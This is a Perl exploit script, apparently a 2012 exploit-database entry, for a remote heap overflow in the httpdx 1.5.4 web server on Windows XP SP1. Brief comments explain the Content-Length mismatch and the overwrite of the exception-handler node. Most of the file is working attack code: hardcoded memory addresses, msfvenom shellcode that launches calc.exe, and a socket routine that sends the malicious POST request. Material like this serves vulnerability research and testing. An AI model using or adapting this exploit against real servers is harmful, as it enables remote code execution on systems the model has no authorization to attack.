httpdx 1.5.4 Heap Overflow

`#!/usr/bin/perl -w  
#======================================================================  
# Exploit Title: httpdx <= 1.5.4 Remote Heap Overflow  
# Date: 28 July 2012  
# Exploit Author: st3n [at sign] funoverip [dot] net  
# Vendor Homepage: http://httpdx.sourceforge.net  
# Download link: http://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.4/httpdx1.5.4.zip/download  
# Version: 1.5.4  
# Tested on: WinXP SP1  
#======================================================================  
# Additional notes:  
# -----------------  
#  
# - During a POST request, httpdx allocates memory with malloc(size+1),  
# where 'size' is actually the value of "Content-Length" HTTP header..  
# All post-data will then be copied into this area using strncpy(x,y,size2),  
# where 'size2' = "request length" - "header length" (and not Content-Length)  
#  
# - As httpdx use it own handler function upon crash, this exploit overwrite  
# the first _VECTORED_EXCEPTION_NODE structure with a pointer to our shellcode.  
#  
# - The exploit works very often, but not always. In both case, httpdx crash  
# after the exploit.  
#  
# - WinXP SP1  
# 0x77ED73B4 --> UnhandledExceptionFilter()  
#======================================================================  
use strict;  
use IO::Socket::INET;  
  
  
# target  
my $host = "127.0.0.1";  
  
# The [perl|php|py|..] page to call during the POST request.  
# The page must exists and the extension must be defined in the directive  
# "http.handlers = {...}" in httpdx.conf  
my $page = "/test.pl";  
  
  
# Windows XP - SP1 - English  
# ---------------------------  
# ptr to the first _VECTORED_EXCEPTION_NODE structure = 0x77fc3210 - 4  
my $veh_node_addr = 0x77fc320c ;  
  
# pointer to out shellcode => 0x00227664 - 8 = 0x0022765c  
my $sc_ptr = 0x0022765c;  
  
  
# shellcode  
# (msfvenom -p windows/exec -f perl CMD=calc.exe)  
my $shellcode =  
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .  
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .  
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .  
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .  
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .  
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .  
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .  
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .  
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .  
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .  
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" .  
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" .  
"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" .  
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" .  
"\x65\x78\x65\x00";  
  
  
# flush after every write  
$| = 1;  
  
my $sock = IO::Socket::INET->new("$host:80");  
  
print $sock "POST $page HTTP/1.0\r\n" .  
"Content-Length: 1023\r\n" .  
"Content-Type: text\r\n" .  
"Host: $host" . "\r\n" .  
"\r\n" .  
# shellcode  
$shellcode .  
# nops  
"\x90" x (1032-length($shellcode)) .  
# VEH addr  
pack('V', $veh_node_addr) .  
# ptr to shellcode  
pack('V', $sc_ptr)  
;  
# if any ...  
while(<$sock>){  
print $_;  
}  
exit;  
  
  
`